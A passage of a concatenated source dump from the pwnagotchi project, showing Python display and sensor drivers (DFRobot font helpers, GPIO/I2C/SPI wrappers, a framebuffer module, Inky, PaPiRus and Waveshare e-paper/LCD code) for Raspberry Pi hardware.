[0x00,0x00,0x7C,0x36,0x33,0x33,0x33,0x33,0x33,0x33,0x36,0x7C,0x00,0x00,0x00,0x00], "E": [0x00,0x00,0x7F,0x33,0x31,0x34,0x3C,0x34,0x30,0x31,0x33,0x7F,0x00,0x00,0x00,0x00], "F": [0x00,0x00,0x7F,0x33,0x31,0x34,0x3C,0x34,0x30,0x30,0x30,0x78,0x00,0x00,0x00,0x00], "G": [0x00,0x00,0x1E,0x33,0x61,0x60,0x60,0x6F,0x63,0x63,0x37,0x1D,0x00,0x00,0x00,0x00], "H": [0x00,0x00,0x63,0x63,0x63,0x63,0x7F,0x63,0x63,0x63,0x63,0x63,0x00,0x00,0x00,0x00], "I": [0x00,0x00,0x3C,0x18,0x18,0x18,0x18,0x18,0x18,0x18,0x18,0x3C,0x00,0x00,0x00,0x00], "J": [0x00,0x00,0x0F,0x06,0x06,0x06,0x06,0x06,0x06,0x66,0x66,0x3C,0x00,0x00,0x00,0x00], "K": [0x00,0x00,0x73,0x33,0x36,0x36,0x3C,0x36,0x36,0x33,0x33,0x73,0x00,0x00,0x00,0x00], "L": [0x00,0x00,0x78,0x30,0x30,0x30,0x30,0x30,0x30,0x31,0x33,0x7F,0x00,0x00,0x00,0x00], "M": [0x00,0x00,0x63,0x77,0x7F,0x6B,0x63,0x63,0x63,0x63,0x63,0x63,0x00,0x00,0x00,0x00], "N": [0x00,0x00,0x63,0x63,0x73,0x7B,0x7F,0x6F,0x67,0x63,0x63,0x63,0x00,0x00,0x00,0x00], "O": [0x00,0x00,0x1C,0x36,0x63,0x63,0x63,0x63,0x63,0x63,0x36,0x1C,0x00,0x00,0x00,0x00], "P": [0x00,0x00,0x7E,0x33,0x33,0x33,0x3E,0x30,0x30,0x30,0x30,0x78,0x00,0x00,0x00,0x00], "Q": [0x00,0x00,0x3E,0x63,0x63,0x63,0x63,0x63,0x63,0x6B,0x6F,0x3E,0x06,0x07,0x00,0x00], "R": [0x00,0x00,0x7E,0x33,0x33,0x33,0x3E,0x36,0x36,0x33,0x33,0x73,0x00,0x00,0x00,0x00], "S": [0x00,0x00,0x3E,0x63,0x63,0x30,0x1C,0x06,0x03,0x63,0x63,0x3E,0x00,0x00,0x00,0x00], "T": [0x00,0x00,0xFF,0xDB,0x99,0x18,0x18,0x18,0x18,0x18,0x18,0x3C,0x00,0x00,0x00,0x00], "U": [0x00,0x00,0x63,0x63,0x63,0x63,0x63,0x63,0x63,0x63,0x63,0x3E,0x00,0x00,0x00,0x00], "V": [0x00,0x00,0x63,0x63,0x63,0x63,0x63,0x63,0x63,0x36,0x1C,0x08,0x00,0x00,0x00,0x00], "W": [0x00,0x00,0x63,0x63,0x63,0x63,0x63,0x6B,0x6B,0x7F,0x36,0x36,0x00,0x00,0x00,0x00], "X": [0x00,0x00,0xC3,0xC3,0x66,0x3C,0x18,0x18,0x3C,0x66,0xC3,0xC3,0x00,0x00,0x00,0x00], "Y": [0x00,0x00,0xC3,0xC3,0xC3,0x66,0x3C,0x18,0x18,0x18,0x18,0x3C,0x00,0x00,0x00,0x00], "Z": [0x00,0x00,0x7F,0x63,0x43,0x06,0x0C,0x18,0x30,0x61,0x63,0x7F,0x00,0x00,0x00,0x00], "[": [0x00,0x00,0x3C,0x30,0x30,0x30,0x30,0x30,0x30,0x30,0x30,0x3C,0x00,0x00,0x00,0x00], "\\": [0x00,0x00,0x80,0xC0,0xE0,0x70,0x38,0x1C,0x0E,0x07,0x03,0x01,0x00,0x00,0x00,0x00], "]": [0x00,0x00,0x3C,0x0C,0x0C,0x0C,0x0C,0x0C,0x0C,0x0C,0x0C,0x3C,0x00,0x00,0x00,0x00], "^": [0x08,0x1C,0x36,0x63,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00], "_": [0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xFF,0x00,0x00,0x00], "'": [0x18,0x18,0x0C,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00], "a": [0x00,0x00,0x00,0x00,0x00,0x3C,0x46,0x06,0x3E,0x66,0x66,0x3B,0x00,0x00,0x00,0x00], "b": [0x00,0x00,0x70,0x30,0x30,0x3C,0x36,0x33,0x33,0x33,0x33,0x6E,0x00,0x00,0x00,0x00], "c": [0x00,0x00,0x00,0x00,0x00,0x3E,0x63,0x60,0x60,0x60,0x63,0x3E,0x00,0x00,0x00,0x00], "d": [0x00,0x00,0x0E,0x06,0x06,0x1E,0x36,0x66,0x66,0x66,0x66,0x3B,0x00,0x00,0x00,0x00], "e": [0x00,0x00,0x00,0x00,0x00,0x3E,0x63,0x63,0x7E,0x60,0x63,0x3E,0x00,0x00,0x00,0x00], "f": [0x00,0x00,0x1C,0x36,0x32,0x30,0x7C,0x30,0x30,0x30,0x30,0x78,0x00,0x00,0x00,0x00], "g": [0x00,0x00,0x00,0x00,0x00,0x3B,0x66,0x66,0x66,0x66,0x3E,0x06,0x66,0x3C,0x00,0x00], "h": [0x00,0x00,0x70,0x30,0x30,0x36,0x3B,0x33,0x33,0x33,0x33,0x73,0x00,0x00,0x00,0x00], "i": [0x00,0x00,0x0C,0x0C,0x00,0x1C,0x0C,0x0C,0x0C,0x0C,0x0C,0x1E,0x00,0x00,0x00,0x00], "j": [0x00,0x00,0x06,0x06,0x00,0x0E,0x06,0x06,0x06,0x06,0x06,0x66,0x66,0x3C,0x00,0x00], "k": [0x00,0x00,0x70,0x30,0x30,0x33,0x33,0x36,0x3C,0x36,0x33,0x73,0x00,0x00,0x00,0x00], "l": [0x00,0x00,0x1C,0x0C,0x0C,0x0C,0x0C,0x0C,0x0C,0x0C,0x0C,0x1E,0x00,0x00,0x00,0x00], "m": [0x00,0x00,0x00,0x00,0x00,0x6E,0x7F,0x6B,0x6B,0x6B,0x6B,0x6B,0x00,0x00,0x00,0x00], "n": [0x00,0x00,0x00,0x00,0x00,0x6E,0x33,0x33,0x33,0x33,0x33,0x33,0x00,0x00,0x00,0x00], "o": [0x00,0x00,0x00,0x00,0x00,0x3E,0x63,0x63,0x63,0x63,0x63,0x3E,0x00,0x00,0x00,0x00], "p": [0x00,0x00,0x00,0x00,0x00,0x6E,0x33,0x33,0x33,0x33,0x3E,0x30,0x30,0x78,0x00,0x00], "q": [0x00,0x00,0x00,0x00,0x00,0x3B,0x66,0x66,0x66,0x66,0x3E,0x06,0x06,0x0F,0x00,0x00], "r": [0x00,0x00,0x00,0x00,0x00,0x6E,0x3B,0x33,0x30,0x30,0x30,0x78,0x00,0x00,0x00,0x00], "s": [0x00,0x00,0x00,0x00,0x00,0x3E,0x63,0x38,0x0E,0x03,0x63,0x3E,0x00,0x00,0x00,0x00], "t": [0x00,0x00,0x08,0x18,0x18,0x7E,0x18,0x18,0x18,0x18,0x1B,0x0E,0x00,0x00,0x00,0x00], "u": [0x00,0x00,0x00,0x00,0x00,0x66,0x66,0x66,0x66,0x66,0x66,0x3B,0x00,0x00,0x00,0x00], "v": [0x00,0x00,0x00,0x00,0x00,0x63,0x63,0x36,0x36,0x1C,0x1C,0x08,0x00,0x00,0x00,0x00], "w": [0x00,0x00,0x00,0x00,0x00,0x63,0x63,0x63,0x6B,0x6B,0x7F,0x36,0x00,0x00,0x00,0x00], "x": [0x00,0x00,0x00,0x00,0x00,0x63,0x36,0x1C,0x1C,0x1C,0x36,0x63,0x00,0x00,0x00,0x00], "y": [0x00,0x00,0x00,0x00,0x00,0x63,0x63,0x63,0x63,0x63,0x3F,0x03,0x06,0x3C,0x00,0x00], "z": [0x00,0x00,0x00,0x00,0x00,0x7F,0x66,0x0C,0x18,0x30,0x63,0x7F,0x00,0x00,0x00,0x00], "{": [0x00,0x00,0x0E,0x18,0x18,0x18,0x70,0x18,0x18,0x18,0x18,0x0E,0x00,0x00,0x00,0x00], "|": [0x00,0x00,0x18,0x18,0x18,0x18,0x18,0x00,0x18,0x18,0x18,0x18,0x18,0x00,0x00,0x00], "}": [0x00,0x00,0x70,0x18,0x18,0x18,0x0E,0x18,0x18,0x18,0x18,0x70,0x00,0x00,0x00,0x00], "~": [0x00,0x00,0x3B,0x6E,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00] } width = 8 height = 16 fmt = "TBMLLR" ================================================ FILE: pwnagotchi/ui/hw/libs/dfrobot/v2/display_extension/freetype_helper.py ================================================ # -*- coding:utf-8 -*- ''' depends: freetype-py ''' import freetype import math #import sys #reload(sys) #sys.setdefaultencoding("utf-8") import importlib,sys #importlib.reload(sys) class Freetype_Helper: def __init__(self, filePath): self._face = freetype.Face(filePath) self._width = 0 self._height = 0 self._fade = 96 def setFmt(self, width, height): self._width = int(width) self._height = int(height) self._face.set_pixel_sizes(width, height) def setDisLowerLimite(self, limite): self._fade = limite def getOne(self, ch): self._face.load_char(ch) bitmap = self._face.glyph.bitmap originY = self._face.glyph.bitmap_top width = bitmap.width height = bitmap.rows buffer = bitmap.buffer rslt = [] # width = 4 # height = 4 # buffer = [0xff] * width * height if height > self._height: buffer = buffer[0: width * self._height] height = self._height if width > self._width: for i in range(height): rslt += buffer[i * width: i * width + self._width] width = self._width buffer = rslt rslt = [] if (ord(ch) >= ord(" ") and ord(ch) <= ord("~")) or width <= (self._width // 2): rslt = [0] * (((self._width - 1) // 16 + 1) * self._height + 1) left = (self._width // 2 - width) // 2 lineDataLen = (self._width - 1) // 16 + 1 else: rslt = [0] * (((self._width - 1) // 8 + 1) * self._height + 1) left = (self._width - width) // 2 lineDataLen = (self._width - 1) // 8 + 1 if left < 0: left = 0 # top = (self._height - height) * lineDataLen // 2 top = ((self._height * 8 + 5) // 10 - originY) * lineDataLen if top < 0: top = 0 for i in range(height): for j in range(width): if buffer[i * width + j] > self._fade: try: rslt[i * lineDataLen + (j + left) // 8 + top] |= 0x80 >> ((j + left) % 8) except: print("freetype_helper getOne err: width: %d, height: %d, top: %d, left: %d, rslt_len: %d, originY: %d" %(width, height, top, left, len(rslt), originY)) raise("err") # rslt[i * lineDataLen + (j + left) // 8 + top] |= 0x80 >> ((j + left) % 8) if (ord(ch) >= ord(" ") and ord(ch) <= ord("~")) or width < (self._width // 2): return (rslt, self._width // 2, self._height, "TBMLLR") else: return (rslt, self._width, self._height, "TBMLLR") ================================================ FILE: pwnagotchi/ui/hw/libs/dfrobot/v2/display_extension/readme.md ================================================ wqydkzh.ttf = 文泉驿等宽正黑.ttf GPL2 license
zkklt.ttf = 站酷快乐体.ttf Chinese open source fonts file, use with freetype_helper.py ================================================ FILE: pwnagotchi/ui/hw/libs/dfrobot/v2/gpio.py ================================================ # -*- coding:utf-8 -*- import time import RPi.GPIO as RPIGPIO RPIGPIO.setmode(RPIGPIO.BCM) RPIGPIO.setwarnings(False) class GPIO: HIGH = RPIGPIO.HIGH LOW = RPIGPIO.LOW OUT = RPIGPIO.OUT IN = RPIGPIO.IN RISING = RPIGPIO.RISING FALLING = RPIGPIO.FALLING BOTH = RPIGPIO.BOTH def __init__(self, pin, mode, defaultOut = HIGH): self._pin = pin self._fInt = None self._intDone = True self._intMode = None if mode == self.OUT: RPIGPIO.setup(pin, mode) if defaultOut == self.HIGH: RPIGPIO.output(pin, defaultOut) else: RPIGPIO.output(pin, self.LOW) else: RPIGPIO.setup(pin, self.IN, pull_up_down = RPIGPIO.PUD_UP) def setOut(self, level): if level: RPIGPIO.output(self._pin, self.HIGH) else: RPIGPIO.output(self._pin, self.LOW) def _intCB(self, status): if self._intDone: self._intDone = False time.sleep(0.02) if self._intMode == self.BOTH: self._fInt() elif self._intMode == self.RISING and self.read() == self.HIGH: self._fInt() elif self._intMode == self.FALLING and self.read() == self.LOW: self._fInt() self._intDone = True def setInterrupt(self, mode, cb): if mode != self.RISING and mode != self.FALLING and mode != self.BOTH: return self._intMode = mode RPIGPIO.add_event_detect(self._pin, mode, self._intCB) self._fInt = cb def read(self): return RPIGPIO.input(self._pin) def cleanup(self): RPIGPIO.cleanup() ================================================ FILE: pwnagotchi/ui/hw/libs/dfrobot/v2/i2c.py ================================================ # -*- coding:utf-8 -*- ''' change i2c frequency on raspberry: 1. edit /etc/modprobe.d 2. add line: options i2c_bcm2708 baudrate=400000 ''' import smbus class I2C: def __init__(self, port): self._bus = smbus.SMBus(port) def writeBytes(self, addr, reg, buf): self._bus.write_block_data(addr, reg, buf) def readBytes(self, addr, reg, length): return self._bus.read_block_data(addr, reg, length) ================================================ FILE: pwnagotchi/ui/hw/libs/dfrobot/v2/spi.py ================================================ # -*- coding:utf-8 -*- import spidev class SPI: MODE_1 = 1 MODE_2 = 2 MODE_3 = 3 MODE_4 = 4 def __init__(self, bus, dev, speed = 3900000, mode = MODE_4): self._bus = spidev.SpiDev() self._bus.open(0, 0) self._bus.no_cs = True self._bus.max_speed_hz = speed def transfer(self, buf): if len(buf): return self._bus.xfer(buf) return [] ================================================ FILE: pwnagotchi/ui/hw/libs/fb/__init__.py ================================================ ================================================ FILE: pwnagotchi/ui/hw/libs/fb/fb.py ================================================ FBIOGET_VSCREENINFO=0x4600 FBIOPUT_VSCREENINFO=0x4601 FBIOGET_FSCREENINFO=0x4602 FBIOGETCMAP=0x4604 FBIOPUTCMAP=0x4605 FBIOPAN_DISPLAY=0x4606 FBIOGET_CON2FBMAP=0x460F FBIOPUT_CON2FBMAP=0x4610 FBIOBLANK=0x4611 FBIO_ALLOC=0x4613 FBIO_FREE=0x4614 FBIOGET_GLYPH=0x4615 FBIOGET_HWCINFO=0x4616 FBIOPUT_MODEINFO=0x4617 FBIOGET_DISPINFO=0x4618 from mmap import mmap from fcntl import ioctl import struct mm = None bpp, w, h = 0, 0, 0 # framebuffer bpp and size bytepp = 0 vx, vy, vw, vh = 0, 0, 0, 0 #virtual window offset and size vi, fi = None, None _fb_cmap = 'IIPPPP' # start, len, r, g, b, a RGB = False _verbose = False msize_kb = 0 def report_fb(i=0, layer=0): with open('/dev/fb'+str(i), 'r+b')as f: vi = ioctl(f, FBIOGET_VSCREENINFO, bytes(160)) vi = list(struct.unpack('I'*40, vi)) ffm = 'c'*16+'L'+'I'*4+'H'*3+'ILIIHHH' fic = struct.calcsize(ffm) fi = struct.unpack(ffm, ioctl(f, FBIOGET_FSCREENINFO, bytes(fic))) def ready_fb(_bpp=None, i=0, layer=0, _win=None): global mm, bpp, w, h, vi, fi, RGB, msize_kb, vx, vy, vw, vh, bytepp if mm and bpp == _bpp: return mm, w, h, bpp with open('/dev/fb'+str(i), 'r+b')as f: vi = ioctl(f, FBIOGET_VSCREENINFO, bytes(160)) vi = list(struct.unpack('I'*40, vi)) bpp = vi[6] bytepp = bpp//8 if _bpp: vi[6] = _bpp # 24 bit = BGR 888 mode try: vi = ioctl(f, FBIOPUT_VSCREENINFO, struct.pack('I'*40, *vi)) # fb_var_screeninfo vi = struct.unpack('I'*40,vi) bpp = vi[6] bytepp = bpp//8 except: pass if vi[8] == 0 : RGB = True ffm = 'c'*16+'L'+'I'*4+'H'*3+'ILIIHHH' fic = struct.calcsize(ffm) fi = struct.unpack(ffm, ioctl(f, FBIOGET_FSCREENINFO, bytes(fic))) msize = fi[17] # = w*h*bpp//8 ll, start = fi[-7:-5] w, h = ll//bytepp, vi[1] # when screen is vertical, width becomes wrong. ll//3 is more accurate at such time. if _win and len(_win)==4: # virtual window settings vx, vy, vw, vh = _win if vw == 'w': vw = w if vh == 'h': vh = h vx, vy, vw, vh = map(int, (vx, vy, vw, vh)) if vx>=w: vx = 0 if vy>=h: vy = 0 if vx>w: vw = w - vx else: vw -= vx if vy>h: vh = h - vy else: vh -= vy else: vx, vy, vw, vh = 0,0,w,h msize_kb = vw*vh*bytepp//1024 # more accurate FB memory size in kb mm = mmap(f.fileno(), msize, offset=start) return mm, w, h, bpp#ll//(bpp//8), h def fill_scr(r,g,b): if bpp == 32: seed = struct.pack('BBBB', b, g, r, 255) elif bpp == 24: seed = struct.pack('BBB', b, g, r) elif bpp == 16: seed = struct.pack('H', r>>3<<11 | g>>2<<5 | b>>3) mm.seek(0) show_img(seed * vw * vh) def black_scr(): fill_scr(0,0,0) def white_scr(): fill_scr(255,255,255) def mmseekto(x,y): mm.seek((x + y*w) * bytepp) def dot(x, y, r, g, b): mmseekto(x,y) mm.write(struct.pack('BBB',*((r,g,b) if RGB else (b,g,r)))) def get_pixel(x,y): mmseekto(x,y) return mm.read(bytepp) def _888_to_565(bt): b = b'' for i in range(0, len(bt),3): b += int.to_bytes(bt[i]>>3<<11|bt[i+1]>>2<<5|bt[i+2]>>3, 2, 'little') return b def numpy_888_565(bt): import numpy as np arr = np.fromstring(bt, dtype=np.uint32) return (((0xF80000 & arr)>>8)|((0xFC00 & arr)>>5)|((0xF8 & arr)>>3)).astype(np.uint16).tostring() def show_img(img): if not type(img) is bytes: if not RGB: if bpp == 24: # for RPI img = img.tobytes('raw', 'BGR') else: img = img.convert('RGBA').tobytes('raw', 'BGRA') if bpp == 16: img = numpy_888_565(img) else: if bpp == 24: img = img.tobytes() else: img = img.convert('RGBA').tobytes() if bpp == 16: img = numpy_888_565(img) from io import BytesIO b = BytesIO(img) s = vw*bytepp for y in range(vh): # virtual window drawing mmseekto(vx,vy+y) mm.write(b.read(s)) ================================================ FILE: pwnagotchi/ui/hw/libs/inkyphat/__init__.py ================================================ ================================================ FILE: pwnagotchi/ui/hw/libs/inkyphat/inkyfast.py ================================================ from inky.inky import Inky, CS0_PIN, DC_PIN, RESET_PIN, BUSY_PIN class InkyFast(Inky): def __init__(self, resolution=(400, 300), colour='black', cs_pin=CS0_PIN, dc_pin=DC_PIN, reset_pin=RESET_PIN, busy_pin=BUSY_PIN, h_flip=False, v_flip=False): super(InkyFast, self).__init__(resolution, colour, cs_pin, dc_pin, reset_pin, busy_pin, h_flip, v_flip) self._luts['black'] = [ 0b01001000, 0b10100000, 0b00010000, 0b00010000, 0b00010011, 0b00000000, 0b00000000, 0b01001000, 0b10100000, 0b10000000, 0b00000000, 0b00000011, 0b00000000, 0b00000000, 0b00000000, 0b00000000, 0b00000000, 0b00000000, 0b00000000, 0b00000000, 0b00000000, 0b01001000, 0b10100101, 0b00000000, 0b10111011, 0b00000000, 0b00000000, 0b00000000, 0b00000000, 0b00000000, 0b00000000, 0b00000000, 0b00000000, 0b00000000, 0b00000000, # The following timings have been reduced to avoid the fade to black 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x04, 0x04, 0x04, 0x04, 0x04, 0x08, 0x08, 0x10, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, ] ================================================ FILE: pwnagotchi/ui/hw/libs/inkyphat/inkyphatfast.py ================================================ """Inky pHAT e-Ink Display Driver.""" from . import inkyfast class InkyPHATFast(inkyfast.InkyFast): """Inky wHAT e-Ink Display Driver.""" WIDTH = 212 HEIGHT = 104 WHITE = 0 BLACK = 1 RED = 2 YELLOW = 2 def __init__(self, colour): """Initialise an Inky pHAT Display. :param colour: one of red, black or yellow, default: black """ inkyfast.InkyFast.__init__( self, resolution=(self.WIDTH, self.HEIGHT), colour=colour, h_flip=False, v_flip=False) ================================================ FILE: pwnagotchi/ui/hw/libs/papirus/__init__.py ================================================ ================================================ FILE: pwnagotchi/ui/hw/libs/papirus/epd.py ================================================ #qCopyright 2013-2015 Pervasive Displays, Inc. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at: # # http:#www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, # software distributed under the License is distributed on an # "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either # express or implied. See the License for the specific language # governing permissions and limitations under the License. from PIL import Image from PIL import ImageOps from pwnagotchi.ui.hw.libs.papirus.lm75b import LM75B import re import os import sys if sys.version_info < (3,): def b(x): return x else: def b(x): return x.encode('ISO-8859-1') class EPDError(Exception): def __init__(self, value): self.value = value def __str__(self): return repr(self.value) class EPD(object): """EPD E-Ink interface to use: from EPD import EPD epd = EPD([path='/path/to/epd'], [auto=boolean], [rotation = 0|90|180|270]) image = Image.new('1', epd.size, 0) # draw on image epd.clear() # clear the panel epd.display(image) # transfer image data epd.update() # refresh the panel image - not needed if auto=true """ PANEL_RE = re.compile('^([A-Za-z]+)\s+(\d+\.\d+)\s+(\d+)x(\d+)\s+COG\s+(\d+)\s+FILM\s+(\d+)\s*$', flags=0) def __init__(self, *args, **kwargs): self._epd_path = '/dev/epd' self._width = 200 self._height = 96 self._panel = 'EPD 2.0' self._cog = 0 self._film = 0 self._auto = False self._lm75b = LM75B() self._rotation = 0 self._uselm75b = True if len(args) > 0: self._epd_path = args[0] elif 'epd' in kwargs: self._epd_path = kwargs['epd'] if ('auto' in kwargs) and kwargs['auto']: self._auto = True if ('rotation' in kwargs): rot = kwargs['rotation'] if rot in (0, 90, 180, 270): self._rotation = rot else: raise EPDError('rotation can only be 0, 90, 180 or 270') with open(os.path.join(self._epd_path, 'version')) as f: self._version = f.readline().rstrip('\n') with open(os.path.join(self._epd_path, 'panel')) as f: line = f.readline().rstrip('\n') m = self.PANEL_RE.match(line) if m is None: raise EPDError('invalid panel string') self._panel = m.group(1) + ' ' + m.group(2) self._width = int(m.group(3)) self._height = int(m.group(4)) self._cog = int(m.group(5)) self._film = int(m.group(6)) if self._width < 1 or self._height < 1: raise EPDError('invalid panel geometry') if self._rotation in (90, 270): self._width, self._height = self._height, self._width @property def size(self): return (self._width, self._height) @property def width(self): return self._width @property def height(self): return self._height @property def panel(self): return self._panel @property def version(self): return self._version @property def cog(self): return self._cog @property def film(self): return self._film @property def auto(self): return self._auto @auto.setter def auto(self, flag): if flag: self._auto = True else: self._auto = False @property def rotation(self): return self._rotation @rotation.setter def rotation(self, rot): if rot not in (0, 90, 180, 270): raise EPDError('rotation can only be 0, 90, 180 or 270') if abs(self._rotation - rot) == 90 or abs(self._rotation - rot) == 270: self._width, self._height = self._height, self._width self._rotation = rot @property def use_lm75b(self): return self._uselm75b @use_lm75b.setter def use_lm75b(self, flag): if flag: self._uselm75b = True else: self._uselm75b = False def error_status(self): with open(os.path.join(self._epd_path, 'error'), 'r') as f: return(f.readline().rstrip('\n')) def rotation_angle(self, rotation): angles = { 90 : Image.ROTATE_90, 180 : Image.ROTATE_180, 270 : Image.ROTATE_270 } return angles[rotation] def display(self, image): # attempt grayscale conversion, and then to single bit # better to do this before calling this if the image is to # be displayed several times if image.mode != "1": image = ImageOps.grayscale(image).convert("1", dither=Image.FLOYDSTEINBERG) if image.mode != "1": raise EPDError('only single bit images are supported') if image.size != self.size: raise EPDError('image size mismatch') if self._rotation != 0: image = image.transpose(self.rotation_angle(self._rotation)) with open(os.path.join(self._epd_path, 'LE', 'display_inverse'), 'r+b') as f: f.write(image.tobytes()) if self.auto: self.update() def update(self): self._command('U') def partial_update(self): self._command('P') def fast_update(self): self._command('F') def clear(self): self._command('C') def _command(self, c): if self._uselm75b: with open(os.path.join(self._epd_path, 'temperature'), 'wb') as f: f.write(b(repr(self._lm75b.getTempC()))) with open(os.path.join(self._epd_path, 'command'), 'wb') as f: f.write(b(c)) ================================================ FILE: pwnagotchi/ui/hw/libs/papirus/lm75b.py ================================================ # Minimal support for LM75b temperature sensor on the Papirus HAT / Papirus Zero # This module allows you to read the temperature. # The OS-output (Over-temperature Shutdown) connected to GPIO xx (pin 11) is not supported # by this module # from __future__ import (print_function, division) import smbus LM75B_ADDRESS = 0x48 LM75B_TEMP_REGISTER = 0 LM75B_CONF_REGISTER = 1 LM75B_THYST_REGISTER = 2 LM75B_TOS_REGISTER = 3 LM75B_CONF_NORMAL = 0 class LM75B(object): def __init__(self, address=LM75B_ADDRESS, busnum=1): self._address = address self._bus = smbus.SMBus(busnum) self._bus.write_byte_data(self._address, LM75B_CONF_REGISTER, LM75B_CONF_NORMAL) def getTempCFloat(self): """Return temperature in degrees Celsius as float""" raw = self._bus.read_word_data(self._address, LM75B_TEMP_REGISTER) & 0xFFFF raw = ((raw << 8) & 0xFF00) + (raw >> 8) return (raw / 32.0) / 8.0 def getTempFFloat(self): """Return temperature in degrees Fahrenheit as float""" return (self.getTempCFloat() * (9.0 / 5.0)) + 32.0 def getTempC(self): """Return temperature in degrees Celsius as integer, so it can be used to write to /dev/epd/temperature""" raw = self._bus.read_word_data(self._address, LM75B_TEMP_REGISTER) & 0xFFFF raw = ((raw << 8) & 0xFF00) + (raw >> 8) return (raw + 128) // 256 # round to nearest integer if __name__ == "__main__": sens = LM75B() print(sens.getTempC(), sens.getTempFFloat()) ================================================ FILE: pwnagotchi/ui/hw/libs/waveshare/__init__.py ================================================ ================================================ FILE: pwnagotchi/ui/hw/libs/waveshare/lcdhat/ST7789.py ================================================ import spidev import RPi.GPIO as GPIO import time import numpy as np class ST7789(object): """class for ST7789 240*240 1.3inch OLED displays.""" def __init__(self, spi, rst=27, dc=25, bl=24): self.width = 240 self.height = 240 # Initialize DC RST pin self._dc = dc self._rst = rst self._bl = bl GPIO.setmode(GPIO.BCM) GPIO.setwarnings(False) GPIO.setup(self._dc, GPIO.OUT) GPIO.setup(self._rst, GPIO.OUT) GPIO.setup(self._bl, GPIO.OUT) GPIO.output(self._bl, GPIO.HIGH) # Initialize SPI self._spi = spi self._spi.max_speed_hz = 40000000 """ Write register address and data """ def command(self, cmd): GPIO.output(self._dc, GPIO.LOW) self._spi.writebytes([cmd]) def data(self, val): GPIO.output(self._dc, GPIO.HIGH) self._spi.writebytes([val]) def Init(self): """Initialize display""" self.reset() self.command(0x36) self.data(0x70) # self.data(0x00) self.command(0x3A) self.data(0x05) self.command(0xB2) self.data(0x0C) self.data(0x0C) self.data(0x00) self.data(0x33) self.data(0x33) self.command(0xB7) self.data(0x35) self.command(0xBB) self.data(0x19) self.command(0xC0) self.data(0x2C) self.command(0xC2) self.data(0x01) self.command(0xC3) self.data(0x12) self.command(0xC4) self.data(0x20) self.command(0xC6) self.data(0x0F) self.command(0xD0) self.data(0xA4) self.data(0xA1) self.command(0xE0) self.data(0xD0) self.data(0x04) self.data(0x0D) self.data(0x11) self.data(0x13) self.data(0x2B) self.data(0x3F) self.data(0x54) self.data(0x4C) self.data(0x18) self.data(0x0D) self.data(0x0B) self.data(0x1F) self.data(0x23) self.command(0xE1) self.data(0xD0) self.data(0x04) self.data(0x0C) self.data(0x11) self.data(0x13) self.data(0x2C) self.data(0x3F) self.data(0x44) self.data(0x51) self.data(0x2F) self.data(0x1F) self.data(0x1F) self.data(0x20) self.data(0x23) self.command(0x21) self.command(0x11) self.command(0x29) def reset(self): """Reset the display""" GPIO.output(self._rst, GPIO.HIGH) time.sleep(0.01) GPIO.output(self._rst, GPIO.LOW) time.sleep(0.01) GPIO.output(self._rst, GPIO.HIGH) time.sleep(0.01) def SetWindows(self, Xstart, Ystart, Xend, Yend): # set the X coordinates self.command(0x2A) self.data(0x00) # Set the horizontal starting point to the high octet self.data(Xstart & 0xff) # Set the horizontal starting point to the low octet self.data(0x00) # Set the horizontal end to the high octet self.data((Xend - 1) & 0xff) # Set the horizontal end to the low octet # set the Y coordinates self.command(0x2B) self.data(0x00) self.data((Ystart & 0xff)) self.data(0x00) self.data((Yend - 1) & 0xff) self.command(0x2C) def ShowImage(self, Image, Xstart, Ystart): """Set buffer to value of Python Imaging Library image.""" """Write display buffer to physical display""" imwidth, imheight = Image.size if imwidth != self.width or imheight != self.height: raise ValueError('Image must be same dimensions as display \ ({0}x{1}).'.format(self.width, self.height)) img = np.asarray(Image) pix = np.zeros((self.width, self.height, 2), dtype=np.uint8) pix[..., [0]] = np.add(np.bitwise_and(img[..., [0]], 0xF8), np.right_shift(img[..., [1]], 5)) pix[..., [1]] = np.add(np.bitwise_and(np.left_shift(img[..., [1]], 3), 0xE0), np.right_shift(img[..., [2]], 3)) pix = pix.flatten().tolist() self.SetWindows(0, 0, self.width, self.height) GPIO.output(self._dc, GPIO.HIGH) for i in range(0, len(pix), 4096): self._spi.writebytes(pix[i:i + 4096]) def clear(self): """Clear contents of image buffer""" _buffer = [0xff] * (self.width * self.height * 2) self.SetWindows(0, 0, self.width, self.height) GPIO.output(self._dc, GPIO.HIGH) for i in range(0, len(_buffer), 4096): self._spi.writebytes(_buffer[i:i + 4096]) ================================================ FILE: pwnagotchi/ui/hw/libs/waveshare/lcdhat/__init__.py ================================================ ================================================ FILE: pwnagotchi/ui/hw/libs/waveshare/lcdhat/config.py ================================================ # /***************************************************************************** # * | File : config.py # * | Author : Guillaume Giraudon # * | Info : # *---------------- # * | This version: V1.0 # * | Date : 2019-10-18 # * | Info : # ******************************************************************************/ import spidev # Pin definition RST_PIN = 27 DC_PIN = 25 BL_PIN = 24 Device_SPI = 1 Device_I2C = 0 Device = Device_SPI spi = spidev.SpiDev(0, 0) ================================================ FILE: pwnagotchi/ui/hw/libs/waveshare/lcdhat/epd.py ================================================ from . import ST7789 from . import config class EPD(object): def __init__(self): self.reset_pin = config.RST_PIN self.dc_pin = config.DC_PIN self.width = 240 self.height = 240 self.st7789 = ST7789.ST7789(config.spi, config.RST_PIN, config.DC_PIN, config.BL_PIN) def init(self): self.st7789.Init() def clear(self): self.st7789.clear() def display(self, image): rgb_im = image.convert('RGB') self.st7789.ShowImage(rgb_im, 0, 0) ================================================ FILE: pwnagotchi/ui/hw/libs/waveshare/lcdhat144/LCD_1in44.py ================================================ # -*- coding:UTF-8 -*- ## # | file : LCD_1IN44.py # | version : V2.0 # | date : 2018-07-16 # | function : On the ST7735S chip driver and clear screen, drawing lines, drawing, writing # and other functions to achieve # # Permission is hereby granted, free of charge, to any person obtaining a copy # of this software and associated documnetation files (the 